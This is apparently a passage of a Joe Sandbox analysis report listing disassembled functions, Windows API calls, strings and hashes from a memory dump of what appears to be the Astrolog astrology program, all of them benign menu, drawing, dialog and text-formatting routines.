Opcode Fuzzy Hash: b267ca75c6691008ca5d9b718c9a1efea029cc40749d3a6f43d1323084b7255c
Instruction Fuzzy Hash: A2F18E72A05228CFDF34CF29DE41B99B3B5BB06309F1149EAD519A7A80D734AE84CF51

Function 6C85E9F9 Relevance: 21.1, APIs: 14, Instructions: 118windowCOMMON

Download Yara Rule

APIs

CheckMenuItem.USER32(?,00009C74,00000000), ref: 6C85EA14
CheckMenuItem.USER32(?,00009CBC,00000000), ref: 6C85EA28
CheckMenuItem.USER32(?,00009C8A,00000000), ref: 6C85EA3C
CheckMenuItem.USER32(?,00009CB5,00000000), ref: 6C85EA53
CheckMenuItem.USER32(?,00009C89,00000000), ref: 6C85EA67
CheckMenuItem.USER32(?,00009C85,00000000), ref: 6C85EA7E
CheckMenuItem.USER32(?,00009C67,00000001), ref: 6C85EA95
CheckMenuItem.USER32(?,00009C8B,00000001), ref: 6C85EAA9
CheckMenuItem.USER32(?,00009C8C,00000000), ref: 6C85EAC0
CheckMenuItem.USER32(?,00009C84,00000000), ref: 6C85EAD4
CheckMenuItem.USER32(00000000,00009C8C,00000000), ref: 6C85EAE8
CheckMenuItem.USER32(00000000,00009C8A,00000000), ref: 6C85EAFC
TrackPopupMenu.USER32(00000000,00000002,?,?,00000000,?,00000000), ref: 6C85EB0F
DestroyMenu.USER32(00000000), ref: 6C85EB16

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: Menu$CheckItem$DestroyPopupTrack
String ID:
API String ID: 3720256419-0
Opcode ID: dc2b6dada985d4da83c5c489b9117c50360694c3290aa89446671001219d9303
Instruction ID: 1263e92d57e1756e6a4488d152e8d1e07935c4e3d09576b2dea98bfe222f5bd2
Opcode Fuzzy Hash: dc2b6dada985d4da83c5c489b9117c50360694c3290aa89446671001219d9303
Instruction Fuzzy Hash: 3B3181737E49117FFB114B7ACD47EAB36E8EB9BB08B184310B525C61C1D65CC901C5A8

Function 6C823C28 Relevance: 21.1, APIs: 4, Strings: 8, Instructions: 114COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C823CC4
_sprintf.LIBCMT ref: 6C823CFF
_sprintf.LIBCMT ref: 6C823D66
_sprintf.LIBCMT ref: 6C823D89

Strings

%s midpoint %s in %s: The merging of %s's, xrefs: 6C823CBE
Person2, xrefs: 6C823CED, 6C823CF2
Most often this manifests in an independent, backward, introverted manner., xrefs: 6C823DD2
Person1, xrefs: 6C823C97, 6C823C9C
very, xrefs: 6C823D49
with %s's, xrefs: 6C823CF9
%s, and, xrefs: 6C823D60
%s., xrefs: 6C823D83

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf
String ID: %s midpoint %s in %s: The merging of %s's$%s, and$%s.$Most often this manifests in an independent, backward, introverted manner.$Person1$Person2$very$with %s's
API String ID: 1467051239-2378394534
Opcode ID: 4c84d06ca9c795a7c7b59c289ef761a2ae5e85d855cbb7cf9e1351716a6eb49b
Instruction ID: 8fd2c9f043ec58c716f4d680cb5a3809f274103399aba175959461ac2085e265
Opcode Fuzzy Hash: 4c84d06ca9c795a7c7b59c289ef761a2ae5e85d855cbb7cf9e1351716a6eb49b
Instruction Fuzzy Hash: D841D375A141189BCB30DB1CCAD9AED7379AB52308F920CA1D08157B60DBBDEDC89BC1

Function 6C80EA43 Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 106COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C80EA69

Part of subcall function 6C8214FC: TextOutA.GDI32(-00000005,00000017,?,00000001,00000001), ref: 6C8215C4
Part of subcall function 6C8214FC: EndPage.GDI32(00000000), ref: 6C821684
Part of subcall function 6C8214FC: StartPage.GDI32 ref: 6C821690
Part of subcall function 6C8214FC: SetMapMode.GDI32(00000008), ref: 6C82169E
Part of subcall function 6C8214FC: SetViewportOrgEx.GDI32(00000000,00000000,00000000), ref: 6C8216AD
Part of subcall function 6C8214FC: GetDeviceCaps.GDI32(0000000A,00000000), ref: 6C8216BC
Part of subcall function 6C8214FC: GetDeviceCaps.GDI32(00000008,00000000), ref: 6C8216C7
Part of subcall function 6C8214FC: SetViewportExtEx.GDI32(00000000,?,00000000), ref: 6C8216D0
Part of subcall function 6C8214FC: SetWindowOrgEx.GDI32(00000000,00000000,00000000), ref: 6C8216DF

_sprintf.LIBCMT ref: 6C80EABB
_sprintf.LIBCMT ref: 6C80EAEB
_sprintf.LIBCMT ref: 6C80EB25
_sprintf.LIBCMT ref: 6C80EB5A

Strings

%s Rays:Ray Name, xrefs: 6C80EA63
Will to Signs Slice Planets, xrefs: 6C80EA88
%3.3s, xrefs: 6C80EAE5
Astrolog, xrefs: 6C80EA5B
%6.2f , xrefs: 6C80EB1F
%d %-28s %-9s , xrefs: 6C80EAB5
%-4.4s, xrefs: 6C80EB54

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$CapsDevicePageViewport$ModeStartTextWindow
String ID: %-4.4s$ %3.3s$%6.2f $%d %-28s %-9s $%s Rays:Ray Name$Astrolog$Will to Signs Slice Planets
API String ID: 2093457147-3279765651
Opcode ID: 219804cff081b846140713663ac50a7735c715f92069e4ac0f7fc3d9b12bca05
Instruction ID: 7ba7a07baa6a0587d3afee54d6e16932ab013cb0bde4122bc44bd3bd06212865
Opcode Fuzzy Hash: 219804cff081b846140713663ac50a7735c715f92069e4ac0f7fc3d9b12bca05
Instruction Fuzzy Hash: 9B31C371E00118AACB309BE8CE55EDEB774AF06318F510C35D492AAF94DB35D98ACBD1

Function 6C859ADD Relevance: 21.1, APIs: 3, Strings: 9, Instructions: 96COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C859B14

Part of subcall function 6C8217C6: _sprintf.LIBCMT ref: 6C8217ED
Part of subcall function 6C8217C6: MessageBoxA.USER32(?,?,00000010), ref: 6C821802

Strings

*.as, xrefs: 6C859AF5
File output is not allowed now., xrefs: 6C859AE7
*.eps, xrefs: 6C859C1B
*.wmf, xrefs: 6C859BF6
*.bmp, xrefs: 6C859BD1
*.txt, xrefs: 6C859B7C
bmp, xrefs: 6C859BC7
*.dw, xrefs: 6C859C40
astrolog.as, xrefs: 6C859C4A

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$Message
String ID: *.as$*.bmp$*.dw$*.eps$*.txt$*.wmf$File output is not allowed now.$astrolog.as$bmp
API String ID: 1933353486-865175844
Opcode ID: d8c8db64092de7093eaec481b4df91839908aca7d65cccc69b282f618be1c0ee
Instruction ID: cf8f1e8cf68c88ead6ad5ecb94f36e834a71b23b196427195c4f163da90f653b
Opcode Fuzzy Hash: d8c8db64092de7093eaec481b4df91839908aca7d65cccc69b282f618be1c0ee
Instruction Fuzzy Hash: FE4139B2269328DBDBB19F1AA743B543AF0E30779DB960C2B902446F50D3B56449CFA1

Function 6C859AF5 Relevance: 21.1, APIs: 3, Strings: 9, Instructions: 94COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C859B14
_sprintf.LIBCMT ref: 6C859BA7
_sprintf.LIBCMT ref: 6C859C5F

Strings

*.htm, xrefs: 6C859BA1
*.as, xrefs: 6C859AF5
*.eps, xrefs: 6C859C1B
*.bmp, xrefs: 6C859BD1
*.wmf, xrefs: 6C859BF6
*.txt, xrefs: 6C859B7C
bmp, xrefs: 6C859BC7
*.dw, xrefs: 6C859C40
astrolog.as, xrefs: 6C859C4A

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf
String ID: *.as$*.bmp$*.dw$*.eps$*.htm$*.txt$*.wmf$astrolog.as$bmp
API String ID: 1467051239-2321370337
Opcode ID: 58bb32910d948e3ba99d0f21ab4a3713695a64787eaf406c44e02ef6c9144b78
Instruction ID: f2e1db4c23466b1cea3d738d7f85388eaa7c27459bc86eaf99e953541f7b4531
Opcode Fuzzy Hash: 58bb32910d948e3ba99d0f21ab4a3713695a64787eaf406c44e02ef6c9144b78
Instruction Fuzzy Hash: 184129B2269328DBDBB08F1AA703B543AF0E30779CB964C2B902447F50D3706445DFA1

Function 6C87D9DD Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

CreateFontA.GDI32(?,00000000,00000000,00000000,00000190,00000000,00000000,00000000,00000001,00000000,00000000,00000002,00000052,Ariel), ref: 6C87DA11
SelectObject.GDI32(00000000,?), ref: 6C87DA31
GetTextExtentPointW.GDI32(?,00000001,?), ref: 6C87DA54
GetTextColor.GDI32 ref: 6C87DA60
SetTextColor.GDI32 ref: 6C87DA81
SetBkMode.GDI32(00000001), ref: 6C87DA91
TextOutW.GDI32(?,?,?,00000001), ref: 6C87DAB8
SetBkMode.GDI32(?), ref: 6C87DAC7
SetTextColor.GDI32(?), ref: 6C87DAD2
SelectObject.GDI32(?), ref: 6C87DADD
DeleteObject.GDI32(?), ref: 6C87DAE2

Strings

Ariel, xrefs: 6C87D9F0

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: Text$ColorObject$ModeSelect$CreateDeleteExtentFontPoint
String ID: Ariel
API String ID: 472838279-2031070413
Opcode ID: 43042f4726920ba44bf2b7dee4ede6febf6e900a8b078cae0e78bea7a22df182
Instruction ID: bf60880938290eadfc4a7a57ae1fa1f8b34d52892ef5bf91f243f8292da086a0
Opcode Fuzzy Hash: 43042f4726920ba44bf2b7dee4ede6febf6e900a8b078cae0e78bea7a22df182
Instruction Fuzzy Hash: AE311875601118AFDF619FA6ED4AEDE7F7AFB0B354F000026FA18E2560D6719910DBA0

Function 6C85ADAD Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 249COMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,00000506,00000000), ref: 6C85AE00
CheckDlgButton.USER32(?,00000506,00000001), ref: 6C85AE1B
IsDlgButtonChecked.USER32(?,00000506), ref: 6C85AE33
CheckDlgButton.USER32(?,00000506,00000001), ref: 6C85AE41
GetDlgItemTextA.USER32(?,0000042E,?,000000FF), ref: 6C85AF15
IsDlgButtonChecked.USER32(?,6C90259D), ref: 6C85AF89
EndDialog.USER32(?,00000001), ref: 6C85AFBF
CheckDlgButton.USER32(?,00000506,00000000), ref: 6C85B02B

Strings

color, xrefs: 6C85AFCA
orb, xrefs: 6C85AFE8
angle, xrefs: 6C85AFDC

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: Button$Check$Checked$DialogItemText
String ID: angle$color$orb
API String ID: 1015435179-3662719913
Opcode ID: 4b781d437e69fe2515d0801b5a7a5a78d676a4c08ca2076c9f4047c66f1bbc12
Instruction ID: 98d443f36cc93c479a8f279e8b3bc4bf46026334de91aa343538550382c1a3d4
Opcode Fuzzy Hash: 4b781d437e69fe2515d0801b5a7a5a78d676a4c08ca2076c9f4047c66f1bbc12
Instruction Fuzzy Hash: C38104B1108209AFDBA09F54CAC8BBA77F8FB46319F500D2EF49182580E7B59465CBB1

Function 6C857866 Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 136COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C8578BD
_sprintf.LIBCMT ref: 6C8578F8
_sprintf.LIBCMT ref: 6C8579C3

Strings

semo, xrefs: 6C857905
seas, xrefs: 6C857895
ast%d%ss%06d.%s, xrefs: 6C8578DB, 6C8578F4
%02d.%s, xrefs: 6C8579BD
ast%d%sse%05d.%s, xrefs: 6C8578CF
sepl, xrefs: 6C85790C
se1, xrefs: 6C8578AA, 6C8578E0, 6C8579B5
sat%ssepm%d.%s, xrefs: 6C8578B5

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf
String ID: %02d.%s$ast%d%ss%06d.%s$ast%d%sse%05d.%s$sat%ssepm%d.%s$se1$seas$semo$sepl
API String ID: 1467051239-2688427821
Opcode ID: 32a02ef95111fb4ef35f583694790f0e8051079116f73c801443c293d0d6a934
Instruction ID: 6aa84f89908ef38b10454dc535edaeab03cd409203a578b6d65289930a2685c8
Opcode Fuzzy Hash: 32a02ef95111fb4ef35f583694790f0e8051079116f73c801443c293d0d6a934
Instruction Fuzzy Hash: A731ABF262400626EB305918CF40FAA7729DB42358F95CE64EC41D7F41E7B6FD2983A0

Function 6C87DB5F Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 119COMMON

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 6C87DBEA
_fprintf.LIBCMT ref: 6C87DBFA
_fprintf.LIBCMT ref: 6C87DC31
_fprintf.LIBCMT ref: 6C87DC4C
_fprintf.LIBCMT ref: 6C87DC5F
_fprintf.LIBCMT ref: 6C87DCA5

Strings

0 %d translate, xrefs: 6C87DC41
-90 rotate, xrefs: 6C87DBEF
1 %d div dup scale, xrefs: 6C87DC95
%d %d translate, xrefs: 6C87DBDF, 6C87DC26
1 -1 scale, xrefs: 6C87DC54

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _fprintf
String ID: %d %d translate$-90 rotate$0 %d translate$1 %d div dup scale$1 -1 scale
API String ID: 1654120334-3216985369
Opcode ID: 065b27ce55e60da59cacb08f87a103cd87561d3ed0d050bb1f02d711f83bcecd
Instruction ID: aecad50d291dafd40096fb17d1531acb918f5fd854d5c51db1ccc9a1abaeafd9
Opcode Fuzzy Hash: 065b27ce55e60da59cacb08f87a103cd87561d3ed0d050bb1f02d711f83bcecd
Instruction Fuzzy Hash: 86413BB17055019BCF31AB2AEE89D8D3A75E74B28D30A0A37D120C7A60FB319D49DAD0

Function 6C821E1E Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 114COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 6C821E7F
_sprintf.LIBCMT ref: 6C821ED3
__floor_pentium4.LIBCMT ref: 6C821EF6
_sprintf.LIBCMT ref: 6C821F66

Strings

%c%1.4f, xrefs: 6C821F31
%c%2.3f, xrefs: 6C821F38
%c%2d%c%02d', xrefs: 6C821ECD
%02d", xrefs: 6C821F0A
%c%2.6f, xrefs: 6C821F49, 6C821F64
+ 0:00', xrefs: 6C821EC3, 6C821ED2, 6C821F5A, 6C821F65
%c%1.7f, xrefs: 6C821F42

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: __floor_pentium4_sprintf
String ID: %02d"$%c%1.4f$%c%1.7f$%c%2.3f$%c%2.6f$%c%2d%c%02d'$+ 0:00'
API String ID: 4172657630-3008370106
Opcode ID: 6eb72ac0a2359ec9474d63e3f654754b5d3bcf7ef56b607f751d4a6ad3f2812a
Instruction ID: 5e095f5b565ad00910f983fb0e483257fcfb8a5ed827fa18a4a8667e2fbc2a35
Opcode Fuzzy Hash: 6eb72ac0a2359ec9474d63e3f654754b5d3bcf7ef56b607f751d4a6ad3f2812a
